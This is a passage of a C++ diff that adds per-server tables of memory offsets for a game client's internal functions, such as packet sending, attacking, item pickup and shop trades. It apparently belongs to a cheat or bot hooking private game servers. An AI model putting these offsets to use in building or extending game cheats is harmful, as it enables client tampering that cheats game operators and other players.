1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x25d250; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x25D290; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x25d310; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x322400; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0xc4e40; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0xc4480; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0xd50d0; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0xdeeb0; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0xea6a0; // [100 ] [3 / 3] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x110370; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x110180; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x11BF40; + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x11bb50; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x1190e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x1192c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x110bf0; // [100 ] [2 / 2] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x11b0e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x11b060; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x11aef0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x11df40; // [100 ] [3 / 3] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x11dfa0; // [100 ] [2 / 2] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x128250; // [100 ] [2 / 2] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x1283d0; // [100 ] [3 / 3] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x128520; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x128030; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x11a0c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x11b370; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x11bef0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x127e80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x127e30; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x127f80; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x11BBD0; + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x119250; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x119b60; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x111c90; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x12B930; // [28 ] [2 / 7] + //##########pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x12b930; // [71 ] [5 / 7] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x143210; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x1350D0; + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x1353f0; // [66 ] [2 / 3] + //########pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x2fd570; // [33 ] [1 / 3] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x134690; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x805b0; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0xf2be0; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x134bc0; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x13a5d0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x1360e0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x1360c0; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x13ae60; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x134370; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x13b690; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x13a660; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x13ab50; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x13a9c0; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x2985b0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x2684a0; // [100 ] [2 / 2] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x26c9d0; // [100 ] [5 / 5] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x36FB30; + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x2743f0; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0xa64d0; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0xa6a10; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x90760; // [100 ] [1 / 1] + break; + } + case ServerName::G22: + { + Globals::pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x11baa50; // Rate: 66 + Globals::pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x11a1ff0; // Rate: 100 + Globals::pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x11a2000; // Rate: 100 + Globals::pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0xde3a70; // Rate: 66 + Globals::pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x11a30e0; // Rate: 88 + Globals::pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x11ac500; // Rate: 100 + Globals::pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x11a37e0; // Rate: 100 + Globals::pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x11a3980; // Rate: 75 + Globals::pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x11ac510; // Rate: 100 + Globals::pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x11abf60; // Rate: 100 + Globals::pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x11ac5c0; // Rate: 100 + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0xe4c190; // Rate: 50 + Globals::pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x11aaed0; // Rate: 50 + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x1281d70; // Rate: 50 + Globals::pCItemDataGetName = Globals::hEntryBaseAddress + 0x12cade0; // Rate: 50 + Globals::pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x128dfa0; // Rate: 64 + Globals::pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x11bab70; // Rate: 85 + Globals::pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x123f100; // Rate: 76 + Globals::pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x11e1d90; // Rate: 100 + Globals::pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x11e14b0; // Rate: 100 + Globals::pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x123f340; // Rate: 100 + Globals::pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x123f380; // Rate: 100 + Globals::pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x123f5a0; // Rate: 100 + Globals::pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x1241860; // Rate: 100 + Globals::pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x129d4e0; // Rate: 100 + Globals::pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x11b3090; // Rate: 100 + Globals::pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x11b3720; // Rate: 100 + Globals::pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x11be830; // Rate: 100 + Globals::pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x11c4b70; // Rate: 100 + Globals::pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x11cbae0; // Rate: 60 + Globals::pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x11e12d0; // Rate: 100 + Globals::pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x11e1590; // Rate: 50 + Globals::pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x11ee810; // Rate: 100 + Globals::pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x11eddc0; // Rate: 75 + Globals::pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x11ee070; // Rate: 87 + Globals::pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x11ee200; // Rate: 100 + Globals::pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x11e1820; // Rate: 100 + Globals::pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x11ee590; // Rate: 100 + Globals::pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x11ee6c0; // Rate: 100 + Globals::pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x11ee730; // Rate: 100 + Globals::pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x11ee7b0; // Rate: 100 + Globals::pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x11ee8a0; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x11f48f0; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x11f4960; // Rate: 80 + Globals::pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x11f4ab0; // Rate: 100 + Globals::pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x11f4b10; // Rate: 100 + Globals::pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x11ef3c0; // Rate: 100 + Globals::pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x11ef850; // Rate: 100 + Globals::pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x11ef930; // Rate: 100 + Globals::pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + 0x11f53d0; // Rate: 100 + Globals::pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x11f5450; // Rate: 100 + Globals::pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x11f5520; // Rate: 100 + Globals::pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x11efba0; // Rate: 100 + Globals::pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x11efc10; // Rate: 100 + Globals::pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x11e1e50; // Rate: 100 + Globals::pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x11f7f30; // Rate: 80 + Globals::pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x1203640; // Rate: 100 + Globals::pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x11f9cd0; // Rate: 100 + Globals::pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x11f9d30; // Rate: 66 + Globals::pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x127fc10; // Rate: 50 + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0xde2000; // Rate: 50 + Globals::pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x11a30e0; // Rate: 50 + Globals::pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x11fa050; // Rate: 75 + Globals::pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x11fa220; // Rate: 100 + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x11fcda0; // Rate: 50 + Globals::pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x1282340; // Rate: 50 + Globals::pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x11fa720; // Rate: 100 + Globals::pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x11fa750; // Rate: 100 + Globals::pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x11fcfe0; // Rate: 100 + Globals::pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x11faac0; // Rate: 100 + Globals::pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x11fe130; // Rate: 100 + Globals::pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x11fd600; // Rate: 100 + Globals::pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x11fd9a0; // Rate: 100 + Globals::pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x1181780; // Rate: 92 + Globals::pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x1245250; // Rate: 87 + Globals::pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x1246610; // Rate: 70 + Globals::pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x12ca9e0; // Rate: 100 + Globals::pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x12567d0; // Rate: 100 + Globals::pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x11abbf0; // Rate: 100 + Globals::pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x11ac670; // Rate: 100 + Globals::pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x11a60a0; // Rate: 100 + Globals::pCResourceReload = Globals::hEntryBaseAddress + 0x1246350; // Rate: 100 + Globals::pCPythonPlayerGetItemCount = Globals::hEntryBaseAddress + 0x11f9b50; // Rate: 100 + Globals::pCPythonPlayerGetItemAttribute = Globals::hEntryBaseAddress + 0x11f9ac0; // Rate: 83 + Globals::pCPythonNetworkStreamSendItemUseToItemPacket = Globals::hEntryBaseAddress + 0x11f4c10; // Rate: 100 + + break; + } + case ServerName::DRAGON2: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x311be0; // [100 ] [1 / 1] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0x178130; // [100 ] [1 / 1] + pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + 0x311850; // [100 ] [1 / 1] + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0x1553f0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0x1542a0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0x154350; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x154260; // [100 ] [1 / 1] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0x172520; // [100 ] [1 / 1] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0x155170; // [100 ] [1 / 1] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0x154dc0; // [100 ] [1 / 1] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0x172460; // [100 ] [1 / 1] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0x171d40; // [100 ] [1 / 1] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0x1723e0; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0x166a40; // [100 ] [1 / 1] + pCInstanceBase__GetBackgroundHeight = Globals::hEntryBaseAddress + 0x1580D0; + pCItemDataGetName = Globals::hEntryBaseAddress + 0x3062b0; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x317610; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0x176600; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x2bcf60; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x257e50; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x257260; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x2bd140; // [100 ] [1 / 1] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x2bd1b0; // [100 ] [1 / 1] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x2BD3F0; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x2bd400; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x2bd480; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x32c400; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x230810; // [100 ] [1 / 1] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x230110; // [100 ] [1 / 1] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0x184aa0; // [100 ] [1 / 1] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0x1e7640; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0x1925f0; // [100 ] [1 / 1] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x2573e0; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x2575d0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x2618e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x261050; // [100 ] [1 / 1] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x2610b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x262ef0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x256de0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x261540; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeItemAddPacket = Globals::hEntryBaseAddress + 0x2613e0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendExchangeStartPacket = Globals::hEntryBaseAddress + 0x261360; // [100 ] [1 / 1] + //pCPythonNetworkStreamSendFishingQuitPacket = Globals::hEntryBaseAddress + (null); + pCPythonNetworkStreamSendFishingPacket = Globals::hEntryBaseAddress + 0x262700; // [100 ] [1 / 1] + pCPythonNetworkStreamSendGiveItemPacket = Globals::hEntryBaseAddress + 0x262760; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemDropPacketNew = Globals::hEntryBaseAddress + 0x271340; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemMovePacket = Globals::hEntryBaseAddress + 0x2713c0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemPickUpPacket = Globals::hEntryBaseAddress + 0x271570; // [100 ] [1 / 1] + pCPythonNetworkStreamSendItemUsePacket = Globals::hEntryBaseAddress + 0x271100; // [100 ] [1 / 1] + pCPythonNetworkStreamSendOnClickPacket = Globals::hEntryBaseAddress + 0x261800; // [100 ] [1 / 1] + pCPythonNetworkStreamSendRefinePacket = Globals::hEntryBaseAddress + 0x262880; // [100 ] [1 / 1] + pCPythonNetworkStreamSendScriptAnswerPacket = Globals::hEntryBaseAddress + 0x261600; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShootPacket = Globals::hEntryBaseAddress + 0x261960; // [100 ] [1 / 1] + //pCPythonNetworkStreamSendShopBuyPacket = Globals::hEntryBaseAddress + (null); + pCPythonNetworkStreamSendShopEndPacket = Globals::hEntryBaseAddress + 0x271700; // [100 ] [1 / 1] + pCPythonNetworkStreamSendShopSellPacketNew = Globals::hEntryBaseAddress + 0x271890; // [100 ] [1 / 1] + pCPythonNetworkStreamSendSpecial = Globals::hEntryBaseAddress + 0x260da0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendUseSkillPacket = Globals::hEntryBaseAddress + 0x261210; // [100 ] [1 / 1] + pCPythonNetworkStreamSendWhisperPacket = Globals::hEntryBaseAddress + 0x263010; // [100 ] [1 / 1] + pCPythonNetworkStreamServerCommand = Globals::hEntryBaseAddress + 0x2599b0; // [100 ] [1 / 1] + pCPythonNonPlayerGetTable = Globals::hEntryBaseAddress + 0x1aab80; // [100 ] [1 / 1] + pCPythonPlayerClickSkillSlot = Globals::hEntryBaseAddress + 0x1c4f20; // [100 ] [1 / 1] + pCPythonPlayerGetItemIndex = Globals::hEntryBaseAddress + 0x1b07e0; // [100 ] [1 / 1] + pCPythonPlayerGetItemMetinSocket = Globals::hEntryBaseAddress + 0x1b0aa0; // [100 ] [1 / 1] + pCPythonPlayerGetMainCharacterIndex = Globals::hEntryBaseAddress + 0x1afef0; // [100 ] [1 / 1] + pCPythonPlayerGetName = Globals::hEntryBaseAddress + 0x1b0120; // [100 ] [1 / 1] + pCPythonPlayerGetRace = Globals::hEntryBaseAddress + 0x1b0180; // [100 ] [1 / 1] + pCPythonPlayerGetStatus = Globals::hEntryBaseAddress + 0x1b0380; // [100 ] [1 / 1] + pCPythonPlayerGetTargetVID = Globals::hEntryBaseAddress + 0x1b9600; // [100 ] [1 / 1] + pCPythonPlayerIsSkillActive = Globals::hEntryBaseAddress + 0x1b17e0; // [100 ] [1 / 1] + pCPythonPlayerIsSkillCoolTime = Globals::hEntryBaseAddress + 0x1b1810; // [100 ] [1 / 1] + pCPythonPlayerNEW_Fishing = Globals::hEntryBaseAddress + 0x1b9000; // [100 ] [1 / 1] + pCPythonPlayerNEW_GetMainActorPtr = Globals::hEntryBaseAddress + 0x1af840; // [100 ] [1 / 1] + pCPythonPlayerSetAttackKeyState = Globals::hEntryBaseAddress + 0x1ba5d0; // [100 ] [1 / 1] + pCPythonPlayerSetTarget = Globals::hEntryBaseAddress + 0x1b9370; // [100 ] [1 / 1] + pCPythonPlayer__OnClickActor = Globals::hEntryBaseAddress + 0x1b98e0; // [100 ] [1 / 1] + pCPythonPlayer__OnPressActor = Globals::hEntryBaseAddress + 0x1b96f0; // [100 ] [1 / 1] + pCGraphicTextureGetD3DTexture = Globals::hEntryBaseAddress + 0x2c15f0; // [100 ] [1 / 1] + pCResourceManagerGetResourcePointer = Globals::hEntryBaseAddress + 0x2B30E0; // [100 ] [1 / 1] + pCGraphicImageGetTexturePointer = Globals::hEntryBaseAddress + 0x2d0ee0; // [100 ] [1 / 1] + pPyCallClassMemberFunc = Globals::hEntryBaseAddress + 0x36A960; + pCInputKeyboardUpdateKeyboard = Globals::hEntryBaseAddress + 0x2bd9c0; // [100 ] [1 / 1] + pCInstanceBaseIsWaiting = Globals::hEntryBaseAddress + 0x171890; // [100 ] [1 / 1] + pCInstanceBaseSetRotation = Globals::hEntryBaseAddress + 0x172560; // [100 ] [1 / 1] + //pCPythonNetworkStreamSendCommandPacket = Globals::hEntryBaseAddress + (null); + break; + } + case ServerName::NEVILLA: + { + + break; + } + case ServerName::LUNA: + { + pCActorInstanceTestActorCollision = Globals::hEntryBaseAddress + 0x19b1d0; // [100 ] [3 / 3] + pCPythonBackgroundGlobalPositionToMapInfo = Globals::hEntryBaseAddress + 0xaec10; // [100 ] [1 / 1] + //pCInstanceBaseAvoidObject = Globals::hEntryBaseAddress + (null); + pCInstanceBaseBlockMovement = Globals::hEntryBaseAddress + 0xa1db0; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceType = Globals::hEntryBaseAddress + 0xa3060; // [100 ] [1 / 1] + pCInstanceBaseGetInstanceVirtualNumber = Globals::hEntryBaseAddress + 0xa3370; // [100 ] [1 / 1] + pCInstanceBaseGetNameString = Globals::hEntryBaseAddress + 0x5c4e0; // [83 ] [5 / 6] + pCInstanceBaseGetRotation = Globals::hEntryBaseAddress + 0xac400; // [100 ] [3 / 3] + pCInstanceBaseIsDead = Globals::hEntryBaseAddress + 0xa3780; // [80 ] [4 / 5] + pCInstanceBaseIsMountingHorse = Globals::hEntryBaseAddress + 0xa3910; // [80 ] [4 / 5] + pCInstanceBaseNEW_GetPixelPosition = Globals::hEntryBaseAddress + 0xac410; // [66 ] [2 / 3] + pCInstanceBaseNEW_MoveToDestPixelPositionDirection = Globals::hEntryBaseAddress + 0xabe60; // [100 ] [2 / 2] + pCInstanceBaseSCRIPT_SetPixelPosition = Globals::hEntryBaseAddress + 0xac4c0; // [100 ] [1 / 1] + pCInstanceBase__SetAffect = Globals::hEntryBaseAddress + 0xaabb0; // [100 ] [1 / 1] + pCItemDataGetName = Globals::hEntryBaseAddress + 0x191a80; // [100 ] [1 / 1] + pCItemManagerGetItemDataPointer = Globals::hEntryBaseAddress + 0x19f300; // [100 ] [1 / 1] + pCPythonBackgroundLocalPositionToGlobalPosition = Globals::hEntryBaseAddress + 0xaed30; // [100 ] [1 / 1] + pCNetworkStreamConnect = Globals::hEntryBaseAddress + 0x15e850; // [100 ] [1 / 1] + pCNetworkStream__DirectEnterMode_Set = Globals::hEntryBaseAddress + 0x118c80; // [100 ] [1 / 1] + pCNetworkStreamGetAccountCharacterSlotDataz = Globals::hEntryBaseAddress + 0x1183d0; // [100 ] [1 / 1] + pCNetworkStreamIsOnline = Globals::hEntryBaseAddress + 0x15ea80; // [100 ] [3 / 3] + pCNetworkStreamPeek = Globals::hEntryBaseAddress + 0x15eac0; // [100 ] [4 / 4] + pCNetworkStreamRecv = Globals::hEntryBaseAddress + 0x15eca0; // [100 ] [1 / 1] + pCNetworkStreamSend = Globals::hEntryBaseAddress + 0x15ed10; // [100 ] [1 / 1] + pCNetworkStreamSendSequence = Globals::hEntryBaseAddress + 0x15ed60; // [100 ] [1 / 1] + pCPhysicsObjectIncreaseExternalForce = Globals::hEntryBaseAddress + 0x1a9ac0; // [100 ] [1 / 1] + pCPythonApplicationProcess = Globals::hEntryBaseAddress + 0x1075b0; // [100 ] [2 / 2] + pCPythonApplicationRenderGame = Globals::hEntryBaseAddress + 0x107c30; // [100 ] [18 / 18] + pCPythonCharacterManagerGetInstancePtr = Globals::hEntryBaseAddress + 0xb2c50; // [91 ] [21 / 23] + pCPythonChatAppendChat = Globals::hEntryBaseAddress + 0xed5d0; // [100 ] [1 / 1] + pCPythonEventManagerRegisterEventSetFromString = Globals::hEntryBaseAddress + 0xbb650; // [100 ] [3 / 3] + pCPythonNetworkStreamConnectGameServer = Globals::hEntryBaseAddress + 0x118110; // [100 ] [1 / 1] + pCPythonNetworkStreamGetMainActorSkillGroup = Globals::hEntryBaseAddress + 0x1184b0; // [100 ] [1 / 1] + pCPythonNetworkStreamSendAddFlyTargetingPacket = Globals::hEntryBaseAddress + 0x123410; + pCPythonNetworkStreamSendAttackPacket = Globals::hEntryBaseAddress + 0x1235b0; // [100 ] [2 / 2] + pCPythonNetworkStreamSendCharacterStatePacket = Globals::hEntryBaseAddress + 0x1237f0; // [100 ] [6 / 6] + pCPythonNetworkStreamSendChatPacket = Globals::hEntryBaseAddress + 0x123950; // [100 ] [7 / 7] + pCPythonNetworkStreamSendEmoticon = Globals::hEntryBaseAddress + 0x118740; // [100 ] [2 / 2] + pCPythonNetworkStreamSendExchangeAcceptPacket = Globals::hEntryBaseAddress + 0x123cd0; // [100 ] [2 / 2] + 